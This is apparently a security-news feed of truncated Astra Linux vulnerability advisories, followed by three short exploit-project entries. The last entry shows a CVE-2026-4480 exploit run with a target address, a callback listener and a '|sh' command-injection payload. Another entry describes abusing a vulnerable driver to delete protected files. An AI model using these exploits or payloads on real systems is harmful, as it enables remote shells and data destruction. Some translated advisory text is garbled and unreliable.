Astra Linux – Vulnerability found in Linux 5.10, Linux 6.1, and Linux 5.15

In the Linux kernel, the following vulnerability has been resolved: VMCI: fixed a race condition between vmcihostsetupnotify and vmcictxunsetnotify. During our testing, it was found that a warning can occur in trygrabfolio. The detailed error message is as follows: ----------- Cut here ----------...

Astra Linux – Vulnerability found in Linux 5.10, Linux 6.1, and Linux 5.15

In the Linux kernel, the following vulnerability has been resolved: In the net subsystem, there is a issue where packets with the type UFO are dropped in the udprcvSegment function. When sending a packet with the virtionethdr structure to a tun device, if the gsotype field in the virtionethdr...

Astra Linux – Vulnerability in Firefox

The incorrect use of the '' method could lead to a “user-after-poison” situation and potentially cause a exploitable crash. This vulnerability affects Firefox versions earlier than 85...

Astra Linux – Vulnerability in Chromium

Inappropriate implementation in Video Capture in Google Chrome on ChromeOS prior to 150.0.7871.47 allowed a local attacker to perform UI spoofing via a crafted HTML page. Chromium security severity: Medium...

Astra Linux – Vulnerabilities in Linux 5.10, Linux 5.15, Linux 6.1

In the Linux kernel, the following vulnerability has been resolved: sysctl: Always initialize iuid/igid. iuid/igid is always initialized within the sysfs core, so setownership can safely skip setting them. The commit 5ec27ec735ba from “fs/proc/procsysctl.c: fix the default values of iuid/igid on...

Astra Linux – Vulnerability in Linux 6.1

In the Linux kernel, the following vulnerability has been resolved: ipmi: Revised the handling of user message limits. The limit on the number of user messages had several issues; improper counting occurred in some cases, and there were issues with operations after memory allocation. The process...

Astra Linux – Vulnerability in Intel Microcode

Incorrect calculations in the microcode keying mechanism of some 3rd Generation IntelR XeonR Scalable Processors may allow a privileged user to potentially enable information disclosure through local access...

Astra Linux – Vulnerability found in Linux 5.15, Linux 6.1

In the Linux kernel, the following vulnerability has been resolved: smb: client: Corrected the id, uid, and cruid values for multiuser automounts. When uid, gid, and cruid are not specified, we need to dynamically set them into the filesystem context used for automounting. Otherwise, they will en...

Astra Linux – Vulnerability in Chromium

The use of after-free in Views in Google Chrome before version 149.0.7827.53 allowed a remote attacker who convinced a user to perform certain UI gestures to potentially exploit heap corruption through a crafted HTML page. Chromium security severity: Medium...

Astra Linux – Vulnerability in GIMP

GIMP PSD File Parsing: Heap-Based Buffer Overflow and Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of GIMP. User interaction is required to exploit this vulnerability, as the target must visit a malicious page ...

Astra Linux – Vulnerability found in Linux 5.10, Linux 6.1, and Linux 5.15

In the Linux kernel, the following vulnerability has been resolved: RDMA/rxe: Fixed a double-free in rxesrqfrominit. In rxesrqfrominit, the queue pointer ‘q’ is assigned to ‘srq-rq.queue’ before copying the SRQ number to user space. If copytouser fails, the function calls rxequeuecleanup to free...

Astra Linux – Vulnerability in OpenSSH

In OpenSSH 8.2, the scp client incorrectly sends duplicate responses to the server when a utimes system call fails. This allows a malicious, unprivileged user on the remote server to overwrite arbitrary files in the client’s download directory by creating a crafted subdirectory anywhere on the...

Astra Linux – Vulnerabilities in Linux, Linux-5.10, Linux-5.15

A issue was discovered in the Linux kernel before version 5.19. In the pxa3xxgcuwrite function in drivers/video/fbdev/pxa3xx-gcu.c, the count parameter has a type conflict between sizet and int, which causes an integer overflow and bypasses the size check. Additionally, since this parameter is us...

Astra Linux – Vulnerability found in Linux 5.10, Linux 6.1, and Linux 5.15

In the Linux kernel, the following vulnerabilities have been resolved: slip: Reject VJ receive packets on instances with no rstate array. slhcinit accepts rslots == 0 as a valid configuration, which means “no receive compression”. In that case, the allocation loop in slhcinit is skipped, so...

Astra Linux – Vulnerability found in Linux 5.10, Linux 6.1

In the Linux kernel, the following vulnerability has been resolved: ALSA: In the seq function, there is a issue where closing a timer that was re-opened within the destructor may cause issues. The queuedelete function closes the timer and frees it. The sndseqtimerclose function clears...

Astra Linux – Vulnerabilities in Linux 5.10, Linux 5.15

In the context of dm-verity-target.c, there is a potential way to modify read-only files due to a missing permission check. This could lead to a local escalation of privileges, as System execution privileges are required. User interaction is not necessary for exploiting this vulnerability. Produc...

Astra Linux – Vulnerability in Corosync

Corosync versions up to 3.1.9 suffer from a stack-based buffer overflow in the orftokenendianconvert function, in the exec/totemsrp.c file. This vulnerability exists when encryption is disabled or if the attacker knows the encryption key. The issue is caused by a large UDP packet...

Threaded-CVE-2018-15473

CVE-2018-15473 — SSH用户名枚举工具 基于Python 3重新实现的经典CVE-2018-15473 OpenSSH用户枚举漏洞利用工具，扩展了多线程、字典支持、自动漏洞检测和线程安全的漏洞利用补丁。 目录 关于漏洞 漏洞利用原理 功能特性 依赖要求 安装 用法 示例 致谢与原始研究 免责声明 关于漏洞 CVE-2018-15473 是一个影响 OpenSSH 版本 2.3 到 7.7 的用户枚举漏洞。 该漏洞源于 OpenSSH 服务器对有效 和无效...

WiseDelete

WiseDelfile 驱动封装器 一款轻量级 Windows 实用程序，可加载 WiseDelfile64.sys 内核驱动程序，执行所需的设备握手，并发出 IOCTL 请求，以删除通过标准 Windows API 无法删除的文件。 本项目演示了在加载驱动程序后，如何利用 CVE-2025-66680 从用户模式调用驱动程序的删除文件功能。 功能特性 在运行时加载和卸载 WiseDelfile64.sys。 自动执行所需的驱动握手。 发送驱动程序的删除 IOCTL 以移除文件。 支持使用 -folder 标志递归删除目录。 执行后清理临时驱动程序服务。 无 C 运行时依赖。 用法...

CVE-2026-4480

ejecutar exploit: python ./exploit.py -t 10.129.20.16 -l 10.10.14.172 -p 8487 Target: 10.129.20.16 Callback: 10.10.14.172:8487 Verify mode: False + Credentials initialized anonymous + Connected to spoolss interface + Opened printer: HP-Reception + Created DocumentInfo with payload: |sh + Generate...